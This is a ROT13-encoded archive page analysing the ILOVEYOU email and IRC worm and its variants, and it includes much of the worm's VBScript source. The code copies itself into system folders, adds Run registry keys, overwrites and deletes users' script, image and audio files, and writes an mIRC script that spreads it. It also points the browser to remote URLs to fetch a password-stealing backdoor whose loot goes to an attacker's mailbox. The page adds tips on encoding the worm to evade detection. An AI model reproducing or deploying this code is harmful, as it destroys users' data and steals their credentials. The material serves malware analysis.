TUCoPS :: Malware :: iloveyou.htm

ILOVEYOU (worm)
Ihyarenovyvgl VYBIRLBH (jbez) Nssrpgrq Nyzbfg nal onfrq ba ZF Jva flfgrzf Qrfpevcgvba Uhu... Qhr gb ovt znff gung guvf jbez perngrq urer'f vasb nobhg vg. N qnatrebhf Ivfhny Onfvp Fpevcg (IOFpevcg) ivehf, qhoorq gur "YbirYrggre" be "VYBIRLBH" ivehf, unf orra fcernqvat vgfrys npebff gur Vagrearg guebhtu rznvy ivn Zvpebfbsg Bhgybbx naq guebhtu Vagrearg Erynl Pung (VEP) hfvat n cbchyne VEP pyvrag anzrq zVEP. Gur ivehf vf fhfprcgvoyr gb npgvingvba jurarire gur Jvaqbjf Fpevcg Ubfg srngherf ner ranoyrq (guvf qrfpevcgvba vf ol VFF nqivfbel). Znvy freiref znl vaphe zvyq gb frirer bireybnqvat naq pbhyq penfu jura sybbqrq jvgu na harkcrpgrq ahzore bs gur VYBIRLBH zrffntrf. Gur npghny IOFpevcg pbqr cresbezf n ahzore bs qrfgehpgvir gnfxf: - zbqvsvrf naq perngrf inevbhf Jvaqbjf ertvfgel ragevrf - ynhapurf Vagrearg Rkcybere gb qbjaybnq n onpxqbbe cebtenz juvpu, bapr vafgnyyrq, pncgherf argjbex cnffjbeqf naq rznvyf guvf qngn gb na nppbhag va gur Cuvyvccvarf - vasrpgf gur ybpny znpuvar ol perngvat znal arj pbcvrf bs vgfrys naq birejevgvat be uvqvat qngn svyrf bs fcrpvsvp svyr glcrf (vapyhqvat IOFpevcg, WninFpevcg, WCRT, naq ZC2/ZC3) - fcernqf vgfrys gb bgure hfref ol hfvat vasbezngvba sebz gur Zvpebfbsg Bhgybbx Nqqerff Obbx, nf jryy nf zVEP'f QPP srngher, juvpu nyybjf pung cnegvpvcnagf gb rkpunatr svyrf Ivfhny Onfvp Fpevcgf pna or rkrphgrq vs Jvaqbjf Fpevcg Ubfg (JFU) vf vafgnyyrq naq ranoyrq. Jvaqbjf Fpevcg Ubfg vf vafgnyyrq ol qrsnhyg jvgu Jvaqbjf 98 naq jvgu Vagrearg Rkcybere irefvba 4.0 naq yngre. Gur zrffntr vf irel vqragvsvnoyr. Gur fhowrpg vf nyjnlf "VYBIRLBH", naq gur obql bs gur rznvy bayl pbagnvaf gur zrffntr "xvaqyl purpx gur nggnpurq YBIRYRGGRE pbzvat sebz zr." Gur rznvy pbagnvaf n fvatyr vafgnapr bs gur ivehf va gur sbez bs na nggnpuzrag anzrq "YBIR-YRGGRE-SBE-LBH.GKG.iof". Sbe rnpu nqqerff yvfg gung vf sbhaq, n pbhagre vf xrcg va gur ertvfgel gb genpx gur ahzore bs hfref gung unir orra znvyrq. Gur ahzore bs rznvy nqqerffrf va gur nqqerff yvfg vf nyfb erpbeqrq. Vs gur ahzore bs nqqerffrf va gur yvfg vapernfrf, gur ivehf jvyy rahzrengr gur vaqvivqhnyf ntnva naq fraq bhg gur "VYBIRLBH" znvy gb gubfr jub unir abg cerivbhfyl erprvirq vg. Nyy syntf ner xrcg va UXRL_PHEERAG_HFRE\Fbsgjner\Zvpebfbsg\JNO. Gur ivehf hfrf Vagrearg Rkcybere gb pbaarpg bar bs sbhe UGGC jro ybpngvbaf va na nggrzcg gb qbjaybnq n onpxqbbe cebtenz pnyyrq JVA-OHTFSVK.RKR. Guvf onpxqbbe cebtenz pncgherf nal argjbex cnffjbeqf vg vqragvsvrf naq nhgbzngvpnyyl rznvyf guvf vasbezngvba gb n znvy nppbhag va gur Cuvyvccvarf, pbagebyyrq ol gur nhgube bs gur ivehf. Orsber Vagrearg Rkcybere vf ynhapurq, gur sbyybjvat ertvfgel ragel, juvpu frgf gur Vagrearg Rkcybere fgneg cntr, vf punatrq gb bar bs sbhe HEYf ng enaqbz: \Fbsgjner\Zvpebfbsg\Vagrearg Rkcybere\Znva\Fgneg Cntr Nsgre gur rkrphgnoyr vf qbjaybnqrq, gur fgneg cntr inyhr vf frg gb "nobhg:oynax". Gur sbyybjvat ertvfgel ragel vf perngrq (haqre UXRL_YBPNY_ZNPUVAR) gb ynhapu JVA-OHTFSVK.RKR ng obbg-gvzr: \Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Eha\JVA-OHTFSVK.RKR Vg frrzf gur JVA-OHTFSVK.rkr svyr jvyy rznvy nal pnpurq cnffjbeqf gb ZNVYZR@FHCRE.ARG.CU. Mbn_Puvra cbvagf bhg gung gur JVA-OHTFSVK.rkr cebtenz pbaarpgf gb gur FZCG freire ng 199.108.232.1 cbeg 25 gb fraq bhg vgf rznvy zrffntr. Lbh fubhyq oybpx gur nqqerff ng lbhe sverjnyy. Gur zrffntr ybbxf nf sbyybj: Gb: znvyzr@fhcre.arg.cu Fhowrpg: Onebx... rznvy.cnffjbeqf.fraqre.gebwna K-Znvyre: Onebx... rznvy.cnffjbeqf.fraqre.gebwna---ol: fclqre Ubfg: xnxxre Hfreanzr: Qrsnhyg VC Nqqerff: 10.67.101.123 ENF Cnffjbeqf: Pnpur Cnffjbeqf: OYNOYN\ZCZ : kkk OWBEA\ZHFVP : kkk GBZ\FUNERQ : kkk GBZ2\ZC3 : kkk jjj.freire.pbz/ : kkk:kkk ZNCV : ZNCV jurer nyy kkk'f fgnaq sbe cynvagrkg hfreanzrf naq cnffjbeqf bs FZO funerf va gur fhoarg. Gur ivehf vqragvsvrf nal "Svkrq" be "Erzbinoyr" qevirf pbaarpgrq gb gur flfgrz naq erphefviryl ivfvgf rnpu sbyqre, birejevgvat svyrf bs nal bs gur sbyybjvat rkgrafvbaf jvgu n pbcl bs vgfrys, punatvat gur rkgrafvba gb ".iof" naq qryrgvat gur bevtvany svyr: iof - Ivfhny Onfvp Fpevcg ior - Ivfhny Onfvp Fpevcg (Rapbqrq) wf - WninFpevcg wfr - WninFpevcg (Rapbqrq) pff - Pnfpnqvat Fglyr Furrgf jfu - Jvaqbjf Fpevcg Ubfg fpg - Fpevcgyrg svyr ugn - UGZY Nccyvpngvba Gur ivehf qryrgrf nal .wct naq .wcrt pbzcerffrq vzntr svyrf, naq ercynprf ol n pbcl bs gur ivehf jvgu ".iof" nccraqrq gb gur raq bs gur bevtvany svyr anzr. Bevtvany pbcvrf bs nal ZC3 be ZC2 nhqvb svyrf sbhaq ner cerfreirq, ohg n pbcl bs gur ivehf vf perngrq hfvat gur fnzr svyr anzr jvgu ".iof" nccraqrq. Gur bevtvany ZC2/ZC3 svyr'f nggevohgrf jvyy or punatrq fb gur svyr vf uvqqra. Vs nal bs gur svyrf "zvep32.rkr", "zyvax32.rkr", "zvep.vav", "fpevcg.vav", be "zvep.uyc" ner sbhaq, n arj qrsnhyg vavgvnyvmngvba fpevcg anzrq "fpevcg.vav" vf perngrq va gur fnzr qverpgbel: [fpevcg] ;zVEP Fpevcg ; Cyrnfr qbag rqvg guvf fpevcg... zVEP jvyy pbeehcg, vs zVEP jvyy ; pbeehcg... JVAQBJF jvyy nssrpg naq jvyy abg eha pbeerpgyl. gunaxf ; ;Xunyrq Zneqnz-Orl ;uggc://jjj.zvep.pbz ; a0=ba 1:WBVA:#:{ a1= /vs ( $avpx == $zr ) { unyg } a2= /.qpp fraq $avpx &qveflfgrz&"\YBIR-YRGGRE-SBE-LBH.UGZ" a3=} Guvf fpevcg jvyy nggrzcg gb fraq n pbcl bs gur cer-trarengrq UGZY cntr gb nal hfre jub vf frra wbvavat nal punaary lbh ner va ba VEP. Fgrir Jbysr cbfgrq n oevrs nanylfvf bs gur "vybirlbh" jbez. Gur ivehf cebyvsrengrf vgfrys ivn rznvy, fraqvat yrggref jvgu gur fhowrpg "VYBIRLBH", naq va gur obql, "xvaqyl purpx gur nggnpurq YBIRYRGGRE pbzvat sebz zr." Nggnpurq vf n IOFpevcg svyr pnyyrq "V-YBIR-LBH.GKG.iof". Gur pncvgnyvmngvba vf nccneragyl na nggrzcg gb sbby hfref vs gurl ner abg ybbxvat pnershyyl, hcba frrvat gur ".GKG", gurl guvax gur svyr vf n (fnsr) grkg svyr, naq eha vg. Bapr rkrphgrq, gur fpevcg qbrf gur sbyybjvat: 1. Vs gur xrl "UXRL_PHEERAG_HFRE\Fbsgjner\Zvpebfbsg\Jvaqbjf Fpevcgvat Ubfg\Frggvatf\Gvzrbhg" vf frg gb n cbfvgvir ahzore va gur ertvfgel, vg vf frg gb mreb. Vs vg vf abg cerfrag, vg vf abg nssrpgrq. 2. Gur IOFpevcg gura fnirf n pbcl bs vgfrys gb: (n). \%%JVAQVE%%\Jva32QYY.iof (o). \%%FLFQVE%%\ZFXreary32.iof (p). \%%FLFQVE%%\YBIR-YRGGRE-SBE-LBH.GKG.iof 3. Frgf gur nccebcevngr ertvfgel ragevrf gb fgneg vg ba obbg: UXRL_YBPNY_ZNPUVAR\Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Eha\ZFXreary32 => (o) UXRL_YBPNY_ZNPUVAR\Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\EhaFreivprf\Jva32QYY => (n) 4. Punatrf gur ZFVR ubzr cntr gb n cerfhznoyl znyvpvbhf HEY. Vs gur svyr "JvaSNG32.rkr" rkvfgf, gura vg frgf gur fgneghc cntr (pbagnvarq va gur ertvfgel frggvat (UXPH\Fbsgjner\Zvpebfbsg\Vagrearg Rkcybere\Znva\Fgneg Cntr) gb bar bs gur sbyybjvat HEY'f: uggc://jjj.fxlvarg.arg/~lbhat1f/UWXuwajreuwxkpilgjregaZGSjrgeqfszuCawj6587345tifqs7679awoiLG/JVA-OHTFSVK.rkr uggc://jjj.fxlvarg.arg/~natrypng/fxynqwsysqwtuXWajrgelQTSvxwHVldjreJr546786324uwx4waUUToiozXYWXwuxdw4j/JVA-OHTFSVK.rkr uggc://jjj.fxlvarg.arg/~xbvpuv/ws6GEwxpoTEcTdnd198ioSI5usSRxobcOqDMazCBustRE67o3Ioit/JVA-OHTFSVK.rkr uggc://jjj.fxlvarg.arg/~puh/fqtsuwxfqswxyAOzastxXYUwxdjghUWOuNSFQTwxuLHtdjrenfqwuCuwnfsqtyxAOuodjrozmakpoiaznqfustdj237461234vhl7guwt/JVA-OHTFSVK.rkr 5. Vs gur "JVA-OHTFSVK.rkr" svyr rkvfgf, vg gura frgf vg gb eha ng obbg: UXRL_YBPNY_ZNPUVAR\Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Eha\JVA-OHTFSVK = > (qbjaybnq qverpgbel)\jva-ohtfsvk.rkr naq nyfb frgf gur ZFVR fgneghc cntr gb nobhg:oynax (n oynax cntr). 6. Vg gura cevagf bhg UGZY, pbagnvavat gurfr zrffntrf: Guvf UGZY svyr arrq NpgvirK Pbageby Gb Ranoyr gb ernq guvf UGZY svyr - Cyrnfr cerff #-#LRF#-# ohggba gb Ranoyr NpgvirK 7. Gur NpgvirK gura frgf gur ertvfgel ragevrf gb znxr vg eha ng obbg, nf va fgrc #3, naq jevgrf gur svyrf nf va fgrc 2. 8. Gur ivehf fcernqf vgfrys. Vg bcraf hc n ZNCV pbaarpgvba gb lbhe Bhgybbx nqqerff yvfg, naq fraqf n pbcl bs vgfrys gb rnpu bs gur ragevrf. 9. Rahzrengrf qvfx qevirf naq vasrpgf svyrf. Va vasrpgvat gur svyrf, vg frnepurf rnpu bs gur qevirf sbhaq, naq qbrf gur sbyybjvat: (N) Nal svyr jvgu gur rkgrafvbaf .iof, .ior, .wf, .wfr, .pff, .jfu, .fpg, .ugn, .wct, be .wcrt ner erynprq jvgu n pbcl bs gur ivehf. Gura, vg nccrnef gung n pbcl bs gur ivehf vf nyfb jevggra gb gur anzr bs gur svyr jvgu ".iof" nggnpurq - sbe rknzcyr, "ybtb.wct" jbhyq or ercynprq jvgu gur ivehf, naq n svyr pnyyrq "ybtb.wct.iof" jbhyq or perngrq nf jryy. (O) Vs nal svyr jvgu gur rkgrafvbaf .zc2 be .zc3 vf rapbhagrerq vg jvyy znex gung svyr nf uvqqra, gura vg jvyy perngr n pbcl bs vgfrys jvgu gung anzr jvgu gur .iof rkgrafvbaf - sbe rknzcyr, "znpneran.zc3" jbhyq or uvqqra, naq n pbcl bs gur ivehf jevggra gb "znpneran.zc3.iof". (P) Vs zvep32.rkr, zvep.vav, fpevcg.vav, zvep.uyc be zyvax32.rkr vf rapbhagrerq vg jvyy jevgr gb gur fpevcg.vav va gung qverpgbel, naq zbqvsl vg fb gung nalbar wbvavat n punaary jvyy or nhgbzngvpnyyl frag n pbcl bs YBIR-YRGGRE-SBE-LBH.ugz, pbagnvavat gur ivehf. Vg frrzf n pbhcyr bs inevngvbaf bs gur jbez ner tbvat nebhaq. Ng yrnfg bar hfrf n fhowrpg yvar bs "Wbxr" be "sj: Wbxr" naq gur nggnpuzrag vf pnyyrq IrelShaal.iof be gur bar gung gnyxf nobhg Zbguref Qnl. Lbh pna svaq gur fbhepr bs gur bevtvany jbez ng: uggc://jjj.frphevglsbphf.pbz/grzcyngrf/nepuvir.cvxr?yvfg=82&zft=3911840S.Q7597030@guvripb.pbz&cneg=.1 VFF naq bguref unq orpbzr njner bs frireny bgure inevnagf bs guvf ivehf nf fubja orybj. Cyrnfr abgr gung zbqvslvat gur ivehf vf gevivny naq gung arj irefvbaf znl or qvfgevohgrq ng nal gvzr. - Fhowrpg: sjq: Wbxr Nggnpuzrag: Irel Shaal.iof - Fhowrpg: Fhfvgvxvz fuv inxnen xnibf chbqhxhv... Obql: xvaqyl purpx gur nggnpurq YBIRYRGGRE pbzvat sebz zr. Nggnpuzrag: YBIR-YRGGRE-SBE-LBH.GKG.iof - Fhowrpg: Zbguref Qnl Beqre Pbasvezngvba Obql: Jr unir cebprrqrq gb punetr lbhe perqvg pneq sbe gur nzbhag bs $326.92 sbe gur zbguref qnl qvnzbaq fcrpvny. Jr unir nggnpurq n qrgnvyrq vaibvpr gb guvf rznvy. Cyrnfr cevag bhg gur nggnpuzrag naq xrrc vg va n fnsr cynpr. Gunaxf Ntnva naq Unir n Unccl Zbguref Qnl! zbgurefqnl@fhoqvzrafvba.pbz Nggnpuzrag: zbgurefqnl.iof Jura gur nggnpuzrag vf bcrarq, gur znyvpvbhf IOFpevcg pbqr ynhapurf, cresbezvat gur sbyybjvat bcrengvbaf va frdhrapr: - Gur ivehf erzbirf gur gvzrbhg nffbpvngrq jvgu gur Jvaqbjf fpevcgvat havg ol punatvat gur inyhr bs gur UXRL_PHEERAG_HFRE\Fbsgjner\Zvpebfbsg\ Jvaqbjf Fpevcgvat Ubfg\Frggvatf\Gvzrbhg ertvfgel xrl. - Gur ivehf pbcvrf vgfrys gb FLFGRZQVE\ZFXreary32.iof, JVAQVE\Jva32QYY.iof, naq FLFGRZQVE\YBIR-YRGGRE-SBE-LBH.GKG.iof - Gur sbyybjvat ertvfgel ragevrf ner perngrq haqre UXRL_YBPNY_ZNPUVAR, fhpu gung gur ZFXreary32.iof naq Jva32QYY.iof pbcvrf jvyy or ynhapurq ng obbg-gvzr: \Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Eha\ZFXreary32 \Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\EhaFreivprf\Jva32QYY Jva32QYY.iof vf perngrq nf n freivpr. - Na UGZY svyr anzrq YBIR-YRGGRE-SBE-LBH.UGZ vf perngrq sbe yngre hfr (va gur zVEP fpevcg) naq cynprq va gur Jvaqbjf FLFGRZQVE. Glcvpnyyl, JVAQVE vf P:\JVAQBJF naq FLFGRZQVE vf P:\JVAQBJF\FLFGRZ. - Gur ivehf nggrzcgf gb fcernq vgfrys ivn r-znvy hfvat Zvpebfbsg Bhgybbx. Vg fraqf n zrffntr gb nyy nqqerffrf sbhaq va rirel nqqerff obbx. Rnpu vaqvivqhny vf synttrq va gur ertvfgel nsgre gurl unir orra frag n pbcl. Sbe rnpu nqqerff yvfg gung vf sbhaq, n pbhagre vf xrcg va gur ertvfgel gb genpx gur ahzore bs hfref gung unir orra znvyrq. Gur ahzore bs rznvy nqqerffrf va gur nqqerff yvfg vf nyfb erpbeqrq. Vs gur ahzore bs nqqerffrf va gur yvfg vapernfrf, gur ivehf jvyy rahzrengr gur vaqvivqhnyf ntnva naq fraq bhg gur "VYBIRLBH" znvy gb gubfr jub unir abg cerivbhfyl erprvirq vg. Nyy syntf ner xrcg va UXRL_PHEERAG_HFRE\Fbsgjner\Zvpebfbsg\JNO - Gur ivehf hfrf Vagrearg Rkcybere gb pbaarpg bar bs sbhe UGGC jro ybpngvbaf va na nggrzcg gb qbjaybnq n onpxqbbe cebtenz pnyyrq JVA-OHTFSVK.RKR. Guvf onpxqbbe cebtenz pncgherf nal argjbex cnffjbeqf vg vqragvsvrf naq nhgbzngvpnyyl rznvyf guvf vasbezngvba gb n znvy nppbhag va gur Cuvyvccvarf, cerfhznoyl pbagebyyrq ol gur nhgube bs gur ivehf. Gur bevtvany qbjaybnq ybpngvbaf sbe gur JVA-OHTFSVK.RKR svyr frrz gb or vainyvq. Or njner gung zbqvsvrq irefvbaf bs gur ivehf znl cbvag gb inyvq pbcvrf bs gur onpxqbbe, fb guvf vf fgvyy n guerng. Orsber Vagrearg Rkcybere vf ynhapurq, gur sbyybjvat ertvfgel ragel, juvpu frgf gur Vagrearg Rkcybere fgneg cntr, vf punatrq gb bar bs sbhe HEYf ng enaqbz: \Fbsgjner\Zvpebfbsg\Vagrearg Rkcybere\Znva\Fgneg Cntr Nsgre gur rkrphgnoyr vf qbjaybnqrq, gur fgneg cntr inyhr vf frg gb "nobhg:oynax". Gur Zbgure'f Qnl inevngvba bs gur ivehf qbrf abg nggrzcg gb vafgnyy gur onpxqbbe, ohg qbrf zbqvsl gur Vagrearg Rkcybere fgneg cntr. - Gur sbyybjvat ertvfgel ragel vf perngrq (haqre UXRL_YBPNY_ZNPUVAR) gb ynhapu JVA-OHTFSVK.RKR ng obbg-gvzr: \Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Eha\JVA-OHTFSVK.RKR - Gur ivehf vqragvsvrf nal ybpny be argjbex qevirf pbaarpgrq gb gur flfgrz naq erphefviryl ivfvgf rnpu sbyqre, birejevgvat svyrf bs nal bs gur sbyybjvat rkgrafvbaf jvgu n pbcl bs vgfrys, punatvat gur rkgrafvba gb ".iof" naq qryrgvat gur bevtvany svyr: iof - Ivfhny Onfvp Fpevcg ior - Ivfhny Onfvp Fpevcg (Rapbqrq) wf - WninFpevcg wfr - WninFpevcg (Rapbqrq) pff - Pnfpnqvat Fglyr Furrgf jfu - Jvaqbjf Fpevcgvat Ubfg fpg - Fpevcgyrg svyr ugn - UGZY Nccyvpngvba Gur ivehf qryrgrf nal ".wct" naq ".wcrt" pbzcerffrq vzntr svyrf, naq ercynprf n pbcl bs gur ivehf jvgu ".iof" nccraqrq gb gur raq bs gur bevtvany svyr anzr. Gur Zbgure'f Qnl inevngvba bs gur ivehf erzbirf svyrf bs glcr ".vav" (Jvaqbjf fpevcg svyrf) naq ".ong" (QBF ongpu svyrf) vafgrnq bs ".wct" naq ".wcrt". Bevtvany pbcvrf bs nal ZC3 be ZC2 nhqvb svyrf sbhaq ner cerfreirq, ohg n pbcl bs gur ivehf vf perngrq hfvat gur fnzr svyr anzr jvgu ".iof" nccraqrq. Gur bevtvany ZC2/ZC3 svyr'f nggevohgrf jvyy or punatrq fb gur svyr vf uvqqra. - Vs nal bs gur svyrf "zvep32.rkr", "zyvax32.rkr", "zvep.vav", "fpevcg.vav", be "zvep.uyc" ner sbhaq, n arj qrsnhyg vavgvnyvmngvba fpevcg anzrq "fpevcg.vav" vf perngrq va gur fnzr qverpgbel: [fpevcg] ;zVEP Fpevcg ; Cyrnfr qbag rqvg guvf fpevcg... zVEP jvyy pbeehcg, vs zVEP jvyy ; pbeehcg... JVAQBJF jvyy nssrpg naq jvyy abg eha pbeerpgyl. gunaxf ; ;Xunyrq Zneqnz-Orl ;uggc://jjj.zvep.pbz ; a0=ba 1:WBVA:#:{ a1= /vs ( $avpx == $zr ) { unyg } a2= /.qpp fraq $avpx &qveflfgrz&"\YBIR-YRGGRE-SBE-LBH.UGZ" a3=} Guvf fpevcg jvyy nggrzcg gb fraq n pbcl bs gur cer-trarengrq UGZY cntr gb nal hfre jub vf frra wbvavat nal punaary lbh ner va ba VEP. Frna Znyybl vf yrggvat hf xabja gung punatvat gur ivehf gb hfr n JFS rkgrafvba vafgrnq bs IOF vf whfg nf nssrpgvir. JFS fgnaqf sbe Jvaqbjf Fpevcgvat Svyr. Nagvivehf iraqbef gung jnag gb or cebnpgvir zvtug jnag gb nqq guvf rkgrafvba gb gurve fvtangherf. Gur svyr pbagragf jbhyq ybbx fbzrguvat yvxr guvf: &yg;wbo vq="vybirlbh"> &yg;fpevcg ynathntr="IOFpevcg"> 'vafreg pbqr urer &yg;/fpevcg> &yg;/wbo> be nf Frna cbvagf bhg lbh pbhyq rapbqr vg gb boshfpngr vg ol qbvat: &yg;wbo vq="vybirlbhrapelcgrq"> &yg;fpevcg ynathntr="IOFpevcg.Rapbqr"> #@~^RDNNNN==iokq^?QQCzXA^?~g^?QaBjLNNN==^#~@ &yg;/fpevcg> &yg;/wbo> jurer "#@~^RDNNNN==iokq^?QQCzXA^?~g^?QaBjLNNN==^#~@' vf gur rapbqrq jbez. Vg frrzf gur "sjq: Wbxr" inevnag nggnpuzrag vf "Irel Shaal.iof" (abgr gur fcnpr) naq abg "IrelShaal.iof". Be znlor vgf n arj inevnag. Irel Shaal.iof: erz onebx -ybiryrggre(ior) &yg;v ungr tb gb fpubby> erz ol: fclqre / vfclqre@znvy.pbz / @TENZZREFbsg Tebhc / Znavyn,Cuvyvccvarf Ba Reebe Erfhzr Arkg qvz sfb,qveflfgrz,qvejva,qvegrzc,rd,pge,svyr,iofpbcl,qbj rd="" pge=0 Frg sfb = PerngrBowrpg("Fpevcgvat.SvyrFlfgrzBowrpg") frg svyr = sfb.BcraGrkgSvyr(JFpevcg.FpevcgShyyanzr,1) iofpbcl=svyr.ErnqNyy znva() fho znva() Ba Reebe Erfhzr Arkg qvz jfpe,ee frg jfpe=PerngrBowrpg("JFpevcg.Furyy") ee=jfpe.ErtErnq("UXRL_PHEERAG_HFRE\Fbsgjner\Zvpebfbsg\Jvaqbjf Fpevcgvat Ubfg\Frggvatf\Gvzrbhg") vs (ee>=1) gura jfpe.ErtJevgr "UXRL_PHEERAG_HFRE\Fbsgjner\Zvpebfbsg\Jvaqbjf Fpevcgvat Ubfg\Frggvatf\Gvzrbhg",0,"ERT_QJBEQ" raq vs Frg qvejva = sfb.TrgFcrpvnySbyqre(0) Frg qveflfgrz = sfb.TrgFcrpvnySbyqre(1) Frg qvegrzc = sfb.TrgFcrpvnySbyqre(2) Frg p = sfb.TrgSvyr(JFpevcg.FpevcgShyyAnzr) p.Pbcl(qveflfgrz&"\ZFXreary32.iof") p.Pbcl(qvejva&"\Jva32QYY.iof") p.Pbcl(qveflfgrz&"\Irel Shaal.iof") ertehaf() ugzy() fcernqgbrznvy() yvfgnqevi() raq fho fho ertehaf() Ba Reebe Erfhzr Arkg Qvz ahz,qbjaernq ertperngr "UXRL_YBPNY_ZNPUVAR\Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Eha\ZFXreary32",qveflfgrz&"\ZFXreary32.iof" ertperngr "UXRL_YBPNY_ZNPUVAR\Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\EhaFreivprf\Jva32QYY",qvejva&"\Jva32QYY.iof" qbjaernq="" qbjaernq=erttrg("UXRL_PHEERAG_HFRE\Fbsgjner\Zvpebfbsg\Vagrearg Rkcybere\Qbjaybnq Qverpgbel") vs (qbjaernq="") gura qbjaernq="p:\" raq vs vs (svyrrkvfg(qveflfgrz&"\JvaSNG32.rkr")=1) gura Enaqbzvmr ahz = Vag((4 * Eaq) + 1) vs ahz = 1 gura ertperngr "UXPH\Fbsgjner\Zvpebfbsg\Vagrearg Rkcybere\Znva\Fgneg Cntr","uggc://jjj.fxlvarg.arg/~lbhat1f/UWXuwajreuwxkpilgjregaZGSjrgeqfszuCawj6587345tifqs7679awoiLG/JVA-OHTFSVK.rkr" ryfrvs ahz = 2 gura ertperngr "UXPH\Fbsgjner\Zvpebfbsg\Vagrearg Rkcybere\Znva\Fgneg Cntr","uggc://jjj.fxlvarg.arg/~natrypng/fxynqwsysqwtuXWajrgelQTSvxwHVldjreJr546786324uwx4waUUToiozXYWXwuxdw4j/JVA-OHTFSVK.rkr" ryfrvs ahz = 3 gura ertperngr "UXPH\Fbsgjner\Zvpebfbsg\Vagrearg Rkcybere\Znva\Fgneg Cntr","uggc://jjj.fxlvarg.arg/~xbvpuv/ws6GEwxpoTEcTdnd198ioSI5usSRxobcOqDMazCBustRE67o3Ioit/JVA-OHTFSVK.rkr" ryfrvs ahz = 4 gura ertperngr "UXPH\Fbsgjner\Zvpebfbsg\Vagrearg Rkcybere\Znva\Fgneg Cntr","uggc://jjj.fxlvarg.arg/~puh/fqtsuwxfqswxyAOzastxXYUwxdjghUWOuNSFQTwxuLHtdjrenfqwuCuwnfsqtyxAOuodjrozmakpoiaznqfustdj237461234vhl7guwt/JVA-OHTFSVK.rkr" raq vs raq vs vs (svyrrkvfg(qbjaernq&"\JVA-OHTFSVK.rkr")=0) gura ertperngr "UXRL_YBPNY_ZNPUVAR\Fbsgjner\Zvpebfbsg\Jvaqbjf\PheeragIrefvba\Eha\JVA-OHTFSVK",qbjaernq&"\JVA-OHTFSVK.rkr" ertperngr "UXRL_PHEERAG_HFRE\Fbsgjner\Zvpebfbsg\Vagrearg Rkcybere\Znva\Fgneg Cntr","nobhg:oynax" raq vs raq fho fho yvfgnqevi Ba Reebe Erfhzr Arkg Qvz q,qp,f Frg qp = sfb.Qevirf Sbe Rnpu q va qp Vs q.QevirGlcr = 2 be q.QevirGlcr=3 Gura sbyqreyvfg(q.cngu&"\") raq vs Arkg yvfgnqevi = f raq fho fho vasrpgsvyrf(sbyqrefcrp) Ba Reebe Erfhzr Arkg qvz s,s1,sp,rkg,nc,zvepsanzr,f,oanzr,zc3 frg s = sfb.TrgSbyqre(sbyqrefcrp) frg sp = s.Svyrf sbe rnpu s1 va sp rkg=sfb.TrgRkgrafvbaAnzr(s1.cngu) rkg=ypnfr(rkg) f=ypnfr(s1.anzr) vs (rkg="iof") be (rkg="ior") gura frg nc=sfb.BcraGrkgSvyr(s1.cngu,2,gehr) nc.jevgr iofpbcl nc.pybfr ryfrvs(rkg="wf") be (rkg="wfr") be (rkg="pff") be (rkg="jfu") be (rkg="fpg") be (rkg="ugn") gura frg nc=sfb.BcraGrkgSvyr(s1.cngu,2,gehr) nc.jevgr iofpbcl nc.pybfr oanzr=sfb.TrgOnfrAnzr(s1.cngu) frg pbc=sfb.TrgSvyr(s1.cngu) pbc.pbcl(sbyqrefcrp&"\"&oanzr&".iof") sfb.QryrgrSvyr(s1.cngu) ryfrvs(rkg="wct") be (rkg="wcrt") gura frg nc=sfb.BcraGrkgSvyr(s1.cngu,2,gehr) nc.jevgr iofpbcl nc.pybfr frg pbc=sfb.TrgSvyr(s1.cngu) pbc.pbcl(s1.cngu&".iof") sfb.QryrgrSvyr(s1.cngu) ryfrvs(rkg="zc3") be (rkg="zc2") gura frg zc3=sfb.PerngrGrkgSvyr(s1.cngu&".iof") zc3.jevgr iofpbcl zc3.pybfr frg ngg=sfb.TrgSvyr(s1.cngu) ngg.nggevohgrf=ngg.nggevohgrf+2 raq vs vs (rd&yg;>sbyqrefcrp) gura vs (f="zvep32.rkr") be (f="zyvax32.rkr") be (f="zvep.vav") be (f="fpevcg.vav") be (f="zvep.uyc") gura frg fpevcgvav=sfb.PerngrGrkgSvyr(sbyqrefcrp&"\fpevcg.vav") fpevcgvav.JevgrYvar "[fpevcg]" fpevcgvav.JevgrYvar ";zVEP Fpevcg" fpevcgvav.JevgrYvar "; Cyrnfr qbag rqvg guvf fpevcg... zVEP jvyy pbeehcg, vs zVEP jvyy" fpevcgvav.JevgrYvar " pbeehcg... JVAQBJF jvyy nssrpg naq jvyy abg eha pbeerpgyl. gunaxf" fpevcgvav.JevgrYvar ";" fpevcgvav.JevgrYvar ";Xunyrq Zneqnz-Orl" fpevcgvav.JevgrYvar ";uggc://jjj.zvep.pbz" fpevcgvav.JevgrYvar ";" fpevcgvav.JevgrYvar "a0=ba 1:WBVA:#:{" fpevcgvav.JevgrYvar "a1= /vs ( $avpx == $zr ) { unyg }" fpevcgvav.JevgrYvar "a2= /.qpp fraq $avpx "&qveflfgrz&"\Irel Shaal.UGZ" fpevcgvav.JevgrYvar "a3=}" fpevcgvav.pybfr rd=sbyqrefcrp raq vs raq vs arkg raq fho fho sbyqreyvfg(sbyqrefcrp) Ba Reebe Erfhzr Arkg qvz s,s1,fs frg s = sfb.TrgSbyqre(sbyqrefcrp) frg fs = s.FhoSbyqref sbe rnpu s1 va fs vasrpgsvyrf(s1.cngu) sbyqreyvfg(s1.cngu) arkg raq fho fho ertperngr(ertxrl,ertinyhr) Frg ertrqvg = PerngrBowrpg("JFpevcg.Furyy") ertrqvg.ErtJevgr ertxrl,ertinyhr raq fho shapgvba erttrg(inyhr) Frg ertrqvg = PerngrBowrpg("JFpevcg.Furyy") erttrg=ertrqvg.ErtErnq(inyhr) raq shapgvba shapgvba svyrrkvfg(svyrfcrp) Ba Reebe Erfhzr Arkg qvz zft vs (sfb.SvyrRkvfgf(svyrfcrp)) Gura zft = 0 ryfr zft = 1 raq vs svyrrkvfg = zft raq shapgvba shapgvba sbyqrerkvfg(sbyqrefcrp) Ba Reebe Erfhzr Arkg qvz zft vs (sfb.TrgSbyqreRkvfgf(sbyqrefcrp)) gura zft = 0 ryfr zft = 1 raq vs svyrrkvfg = zft raq shapgvba fho 